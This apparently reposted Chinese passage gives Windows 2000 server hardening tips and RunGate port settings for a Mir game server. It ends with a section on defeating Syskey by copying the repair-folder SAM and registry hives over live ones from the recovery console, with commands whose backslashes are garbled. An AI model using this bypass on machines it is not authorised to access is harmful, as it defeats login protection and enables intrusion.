一个好的密码对于一个网络是非常重要的,但是它是最容易被忽略的。前面的所说的也许已经可以说明这一点了。一些公司的管理员创建帐号的时候往往用公司名,计算机名,或者一些别的一猜就到的东西做用户名,然后又把这些帐户的密码设置得N简单,比如 “welcome” “iloveyou” “letmein”或者和用户名相同等等。这样的帐户应该要求用户首此登陆的时候更改成复杂的密码,还要注意经常更改密码。前些天在IRC和人讨论这一问题的时候,我们给好密码下了个定义:安全期内无法破解出来的密码就是好密码,也就是说,如果人家得到了你的密码文档,必须花43天或者更长的时间才能破解出来,而你的密码策略是42天必须改密码。  

9.设置屏幕保护密码

很简单也很有必要,设置屏幕保护密码也是防止内部人员破坏服务器的一个屏障。注意不要使用OpenGL和一些复杂的屏幕保护程序,浪费系统,让他黑屏就可以了。还有一点,所有系统用户所使用的机器也最好加上屏幕保护密码。  

10. 使用NTFS格式分区

把服务器的所有分区都改成NTFS格式。NTFS文件系统要比FAT,FAT32的文件系统安全得多。这点不必多说,想必大家得服务器都已经是NTFS的了。

11.运行防毒软件

我见过的Win2000/Nt服务器从来没有见到有安装了防毒软件的,其实这一点非常重要。一些好的杀毒软件不仅能杀掉一些著名的,还能查杀大量木马和后门程序。这样的话,“黑客”们使用的那些有名的木马就毫无用武之地了。不要忘了经常升级库  

12.保障备份盘的安全

一旦系统资料被破坏,备份盘将是你恢复资料的唯一途径。备份完资料后,把备份盘防在安全的地方。千万别把资料备份在同一台服务器上,那样的话,还不如不要备份。

中级安全篇:  

1.利用win2000的安全配置工具来配置策略

微软提供了一套的基于MMC(管理控制台)安全配置和分析工具,利用他们你可以很方便的配置你的服务器以满足你的要求。具体内容请参考微软主页:

://.microsoft/windows200...y/sctoolset.asp  

2.关闭不必要的服务

windows 2000 的 Terminal Services(终端服务),IIS ,和RAS都可能给你的系统带来安全漏洞。为了能够在远程方便的管理服务器,很多机器的终端服务都是开着的,如果你的也开了,要确认你已经正确的配置了终端服务。有些恶意的程序也能以服务方式悄悄的运行。要留意服务器上面开启的所有服务,中期性(每天)的检查他们。下面是C2级别安装的默认服务:

Computer Browser service TCP/IP NetBIOS Helper

Microsoft DNS server Spooler

NTLM SSP Server

RPC Locator WINS

RPC service Workstation

Netlogon Event log

3.关闭不必要的端口

关闭端口意味着减少功能,在安全和功能上面需要你作一点决策。如果服务器安装在_blank">防火墙的后面,冒的险就会少些,但是,永远不要认为你可以高枕无忧了。用端口扫描器扫描系统所开放的端口,确定开放了哪些服务是黑客入侵你的系统的第一步。\system32\drivers\etc\services 文件中有知名端口和服务的对照表可供参考。具体方法为:

网上邻居>属性>本地连接>属性>internet 协议(tcp/ip)>属性>高级>选项>tcp/ip筛选>属性 打开tcp/ip筛选,添加需要的tcp,udp,协议即可。

4.打开审核策略

开启安全审核是win2000最基本的入侵检测方法。当有人尝试对你的系统进行某些方式(如尝试用户密码,改变帐户策略,未经许可的文件访问等等)入侵的时候,都会被安全审核记录下来。很多的管理员在系统被入侵了几个月都不知道,直到系统遭到破坏。下面的这些审核是必须开启的,其他的可以根据需要增加:

策略 设置

审核系统登陆 成功,失败

审核帐户管理 成功,失败

审核登陆 成功,失败

审核对象访问 成功

审核策略更改 成功,失败

审核特权使用 成功,失败

审核系统 成功,失败

5.开启密码密码策略

策略 设置

密码复杂性要求 启用

密码长度最小值 6位

强制密码历史 5 次

强制密码历史 42 天

6.开启帐户策略

策略 设置

复位帐户锁定计数器 20分钟

帐户锁定时间 20分钟

帐户锁定阈值 3次  

7.设定安全记录的访问权限

安全记录在默认情况下是没有保护的,把他设置成只有Administrator和系统帐户才有权访问。

8.把敏感文件存放在另外的文件服务器中

虽然现在服务器的硬盘容量都很大,但是你还是应该考虑是否有必要把一些重要的用户数据(文件,数据表,项目文件等)存放在另外一个安全的服务器中,并且经常备份它们。

9.不让系统显示上次登陆的用户名

默认情况下,终端服务接入服务器时,登陆对话框中会显示上次登陆的帐户明,本地的登陆对话框也是一样。这使得别人可以很容易的得到系统的一些用户名,进而作密码猜测。修改注册表可以不让对话框里显示上次登陆的用户名,具体是:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\DontDisplayLastUserName

把 REG_SZ 的键值改成 1 .   

10.禁止建立空连接

默认情况下,任何用户通过通过空连接连上服务器,进而枚举出帐号,猜测密码。我们可以通过修改注册表来禁止建立空连接:

Local_Machine\System\CurrentControlSet\Control\LSA-RestrictAnonymous 的值改成”1”即可。

10.到微软网站下载最新的补丁程序

很多网络管理员没有访问安全站点的习惯,以至于一些漏洞都出了很久了,还放着服务器的漏洞不补给人家当靶子用。谁也不敢保证数百万行以上代码的2000不出一点安全漏洞,经常访问微软和一些安全站点,下载最新的service pack和漏洞补丁,是保障服务器长久安全的唯一方法。

高级篇:  

1. 关闭 DirectDraw

这是C2级安全标准对卡和内存的要求。关闭DirectDraw可能对一些需要用到DirectX的程序有影响(比如游戏,在服务器上玩星际争霸?我晕..$%$^%^&?),但是对于绝大多数的商业站点都应该是没有影响的。 修改注册表 HKLM\SYSTEM\CurrentControlSet\Control\GraphicsDrivers\DCI 的Timeout(REG_DWORD)为 0 即可。  

2.关闭默认共享

win2000安装好以后,系统会创建一些隐藏的共享,你可以在cmd下打 net share 查看他们。网上有很多关于IPC入侵的文章,相信大家一定对它不陌生。要禁止这些共享 ,打开 管理工具>计算机管理>共享文件夹>共享 在相应的共享文件夹上按右键,点停止共享即可,不过机器重新启动后,这些共享又会重新开启的。

默认共享目录 路径和功能  

C$ D$ E$ 每个分区的根目录。Win2000 Pro版中,只有Administrator

和Backup Operators组成员才可连接,Win2000 Server版本Server Operatros组也可以连接到这些共享目录ADMIN$ %SYSTEMROOT% 远程管理用的共享目录。它的路径永远都指向Win2000的安装路径,比如 c:\winntFAX$ 在Win2000 Server中,FAX$在fax客户端发传真的时候会到。IPC$ 空连接。IPC$共享提供了登录到系统的能力。

NetLogon 这个共享在Windows 2000 服务器的Net Login 服务在处理登陆域请求时用到

PRINT$ %SYSTEMROOT%\SYSTEM32\SPOOL\DRIVERS 用户远程管理打印机 

解决办法:

打开注册表编辑器。REGEDIT

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters

在右边建立一个名为AutoShareServer的DWORD键。值为0

3.禁止dump file的产生

dump文件在系统崩溃和蓝屏的时候是一份很有用的查找问题的资料(不然我就照字面意思翻译成垃圾文件了)。然而,它也能够给黑客提供一些敏感信息比如一些应用程序的密码等。要禁止它,打开 控制面板>系统属性>高级>启动和故障恢复 把 写入调试信息 改成无。要用的时候,可以再重新打开它。

4.使用文件加密系统EFS

Windows2000 强大的加密系统能够给磁盘,文件夹,文件加上一层安全保护。这样可以防止别人把你的硬盘挂到别的机器上以读出里面的数据。记住要给文件夹也使用EFS,而不仅仅是单个的文件。 有关EFS的具体信息可以查看

://.microsoft/windows200...ity/encrypt.asp 

5.加密temp文件夹

一些应用程序在安装和升级的时候,会把一些东西拷贝到temp文件夹,但是当程序升级完毕或关闭的时候,它们并不会自己清除temp文件夹的内容。所以,给temp文件夹加密可以给你的文件多一层保护。

6.锁住注册表

在windows2000中,只有administrators和Backup Operators才有从网络上访问注册表的权限。如果你觉得还不够的话,可以进一步设定注册表访问权限,详细信息请参考:

://support.microsoft/suppor...s/Q153/1/83.asp  

7.关机时清除掉页面文件

页面文件也就是调度文件,是win2000用来存储没有装入内存的程序和数据文件部分的隐藏文件。一些第三方的程序可以把一些没有的加密的密码存在内存中,页面文件中也可能含有另外一些敏感的资料。 要在关机的时候清楚页面文件,可以编辑注册表

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management

把ClearPageFileAtShutdown的值设置成1。

8.禁止从软盘和CD Rom启动系统

一些第三方的工具能通过引导系统来绕过原有的安全机制。如果你的服务器对安全要求非常高,可以考虑使用可移动软盘和光驱。把机箱锁起来扔不失为一个好方法。  

9.考虑使用智能卡来代替密码

对于密码,总是使安全管理员进退两难,容易受到 10phtcrack 等工具的攻击,如果密码太复杂,用户把为了记住密码,会把密码到处乱写。如果条件允许,用智能卡来代替复杂的密码是一个很好的解决方法。

10.考虑使用IPSec

正如其名字的含义,IPSec 提供 IP 数据包的安全性。IPSec 提供身份验证、完整性和可选择的机密性。发送方计算机在传输之前加密数据,而接收方计算机在收到数据之后解密数据。利用IPSec可以使得系统的安全性能大大增强。 

的必须开放端口,极其解决端口安全的方法

服务器开放端口+花生壳+一些必须端口

可以将这些端口使用TCP/IP筛选,只开放这些端口增加安全性,(开设其他服务,端口自己再加入)

TCP/IP筛选端口-> TCP断口

端口7220 .... RunGate 1 端口

端口7210 .... RunGate 2 端口 同时开启3个RunGate

端口7200 .... RunGate 3 端口

端口7100

端口7012

端口6000

端口5600

端口5500

端口5100

端口5000

端口4900

端口3389

端口3372

端口3100

端口3000

端口1027

端口1025

端口0135 

\system32\drivers\etc\services 文件中有知名端口和服务的对照表可供参考。具体方法为:

网上邻居>属性>本地连接>属性>internet 协议(tcp/ip)>属性>高级>选项>tcp/ip筛选>属性 打开tcp/ip筛选,添加需要的tcp,协议即可。  

我开了3个RunGate端口,解决多个玩家同时登陆访问时会出现7200错误而使服务器突然狂卡,开3个效果比较好。是*(ggggg7原创)

开3个RunGate端口的方法:

RunGate文件夹再复制2份 分别为RunGate1,RunGate2,RunGate3 将里面的Mirgate.ini分别改为GatePort=7200,GatePort=7210,GatePort=7220  

DBSrv200文件夹下的!serverinfo.txt改为127.0.0.1 127.0.0.1 7200 127.0.0.1 7210 127.0.0.1 7220

Mir200文件夹下的!servertable.txt改为

1 127.0.0.1 7200

2 127.0.0.1 7210

3 127.0.0.1 7220

然后运行RunGate1,RunGate2,RunGate3 下的3个RunGate.exe

M2Server会提示:

Gate 0 opened

Gate 1 opened

Gate 2 opened

适当的加点防火墙会更好

如何破解电脑系统秘密?

轻松破解Syskey加密

在Windows

2000/XP系统安装目录中有一个“repair”文件夹(具体位置是:c:WINDOWS

epair,其中c:为你的安装系统所在的盘符),其中保存的就是系统安装完毕后首次启动时创建的注册表备份文件。

黑客用这个注册表备份文件来替换了当前系统中的注册表信息文件,系统就会被恢复到刚安装完系统时的状态。具体操作方法如下:

首先使用Windows

2000/XP安装光盘引导系统,进入系统故障恢复控制台,然后将“X:WINDOWSsystem32config”下的文件替换为“repair”文件下的同名文件(为了保证系统的安全,在进行替换前最好将“X:WINDOWSsystem32config”文件夹下的注册表文件备份。如果在

Windows

2000中,则相应的文件夹为X:WINNT。)。具体操作命令是:

copy

windows

epairsam

c:windowssystem32config

copy

windows

epairsystem

c:windowssystem32config

copy

windows

epairsecurity

c:windowssystem32config

copy

windows

epairsoftware

c:windowssystem32config

copy

windows

epairdefault

c:windowssystem32config

完成以上的替换操作后,重新启动计算机就可以清除syskey密码了,此时以Administrator用户登陆系统,注意此时必须输入系统安装时设置的Administrator用户对应的密码。就这样,黑客就轻易突破了syskey的限制了!

由于“repair”文件下的注册表文件信息是系统安装完毕时生成的,用这个注册表文件覆盖当前系统的注册表信息后,必然导致大部分的软件和硬件信息丢失,因此进入系统后,需要重新安装软件和硬件方面的程序,重新建立用户以及用户组别。